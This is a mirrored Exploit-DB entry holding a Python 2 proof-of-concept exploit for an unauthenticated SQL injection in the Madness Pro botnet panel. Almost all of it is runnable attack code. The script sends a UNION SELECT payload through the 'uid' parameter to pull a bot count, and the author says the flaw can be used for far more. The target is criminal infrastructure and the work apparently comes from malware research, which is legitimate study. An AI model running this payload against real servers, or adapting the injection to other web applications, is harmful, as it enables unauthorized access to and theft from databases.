Lucene search
K

Madness Pro 1.14 - SQL Injection

πŸ—“οΈΒ 06 Jun 2014Β 00:00:00Reported byΒ bwallTypeΒ 
exploitdb
Β exploitdb
πŸ”—Β www.exploit-db.comπŸ‘Β 30Β Views

Unauthenticated SQL injection in Madness Pro panel <= 1.14. Retrieves bot count

Code
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# Exploit Title: Madness Pro <= 1.14 SQL injection
# Date: June 05, 2014
# Exploit Author: @botnet_hunter
# Version: 1.14
# Tested on: Apache2 - Ubuntu - MySQL
#              β–„β–„β–Œ        β–„β–„β–„β–„Β·       β–„β–„β–„β–„β–„      β€’ β–Œ β–„ Β·.  β–„Β· β–„β–Œ
#              β–ˆβ–ˆβ€’  β–ͺ     β–β–ˆ β–€β–ˆβ–ͺβ–ͺ     β€’β–ˆβ–ˆ  β–ͺ     Β·β–ˆβ–ˆ β–β–ˆβ–ˆβ–ˆβ–ͺβ–β–ˆβ–ͺβ–ˆβ–ˆβ–Œ
#              β–ˆβ–ˆβ–ͺ   β–„β–ˆβ–€β–„ β–β–ˆβ–€β–€β–ˆβ–„ β–„β–ˆβ–€β–„  β–β–ˆ.β–ͺ β–„β–ˆβ–€β–„ β–β–ˆ β–Œβ–β–Œβ–β–ˆΒ·β–β–ˆβ–Œβ–β–ˆβ–ͺ
#              β–β–ˆβ–Œβ–β–Œβ–β–ˆβ–Œ.β–β–Œβ–ˆβ–ˆβ–„β–ͺβ–β–ˆβ–β–ˆβ–Œ.β–β–Œ β–β–ˆβ–ŒΒ·β–β–ˆβ–Œ.β–β–Œβ–ˆβ–ˆ β–ˆβ–ˆβ–Œβ–β–ˆβ–Œ β–β–ˆβ–€Β·.
#              .β–€β–€β–€  β–€β–ˆβ–„β–€β–ͺΒ·β–€β–€β–€β–€  β–€β–ˆβ–„β–€β–ͺ β–€β–€β–€  β–€β–ˆβ–„β–€β–ͺβ–€β–€  β–ˆβ–ͺβ–€β–€β–€  β–€ β€’
#   β–„β–„Β· β–„β€’ β–„β–Œβ–„β–„β–„  β–ͺ   ▐ β–„  β–„β–„ β€’     β€’ β–Œ β–„ Β·.  β–„β–„β–„Β· Β·β–„β–„β–„β–„   ▐ β–„ β–„β–„β–„ ..β–„β–„ Β· .β–„β–„ Β·
#  β–β–ˆ β–Œβ–ͺβ–ˆβ–ͺβ–ˆβ–ˆβ–Œβ–€β–„ β–ˆΒ·β–ˆβ–ˆ β€’β–ˆβ–Œβ–β–ˆβ–β–ˆ β–€ β–ͺ    Β·β–ˆβ–ˆ β–β–ˆβ–ˆβ–ˆβ–ͺβ–β–ˆ β–€β–ˆ β–ˆβ–ˆβ–ͺ β–ˆβ–ˆ β€’β–ˆβ–Œβ–β–ˆβ–€β–„.β–€Β·β–β–ˆ β–€. β–β–ˆ β–€.
#  β–ˆβ–ˆ β–„β–„β–ˆβ–Œβ–β–ˆβ–Œβ–β–€β–€β–„ β–β–ˆΒ·β–β–ˆβ–β–β–Œβ–„β–ˆ β–€β–ˆβ–„    β–β–ˆ β–Œβ–β–Œβ–β–ˆΒ·β–„β–ˆβ–€β–€β–ˆ β–β–ˆΒ· β–β–ˆβ–Œβ–β–ˆβ–β–β–Œβ–β–€β–€β–ͺβ–„β–„β–€β–€β–€β–ˆβ–„β–„β–€β–€β–€β–ˆβ–„
#  β–β–ˆβ–ˆβ–ˆβ–Œβ–β–ˆβ–„β–ˆβ–Œβ–β–ˆβ€’β–ˆβ–Œβ–β–ˆβ–Œβ–ˆβ–ˆβ–β–ˆβ–Œβ–β–ˆβ–„β–ͺβ–β–ˆ    β–ˆβ–ˆ β–ˆβ–ˆβ–Œβ–β–ˆβ–Œβ–β–ˆ β–ͺβ–β–Œβ–ˆβ–ˆ. β–ˆβ–ˆ β–ˆβ–ˆβ–β–ˆβ–Œβ–β–ˆβ–„β–„β–Œβ–β–ˆβ–„β–ͺβ–β–ˆβ–β–ˆβ–„β–ͺβ–β–ˆ
#  Β·β–€β–€β–€  β–€β–€β–€ .β–€  β–€β–€β–€β–€β–€β–€ β–ˆβ–ͺΒ·β–€β–€β–€β–€     β–€β–€  β–ˆβ–ͺβ–€β–€β–€ β–€  β–€ β–€β–€β–€β–€β–€β€’ β–€β–€ β–ˆβ–ͺ β–€β–€β–€  β–€β–€β–€β–€  β–€β–€β–€β–€
#
# Unauthenticated SQL injection in Madness Pro panel <= 1.14
# Proof of Concept retrieves a count of the bots, although it can be utilized for far more
# Discovered and developed by bwall @botnet_hunter
#
# References:
#	http://blog.cylance.com/a-study-in-bots-lobotomy
#	
import urllib

# Fill in URL that Madness Pro bot connects back to
panel_url = ""


def run_sqli_proof_of_concept(panel_index_url):
    f = urllib.urlopen("{0}?uid='%20OR%201=2%20UNION%20ALL%20SELECT%201,1,1,CONCAT('bot-count:',COUNT(*))%20FROM%20bots"
                       "%20--%20--".format(panel_index_url))
    print f.read()

run_sqli_proof_of_concept(panel_url)

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jun 2014 00:00Current
7.4High risk
Vulners AI Score7.4
30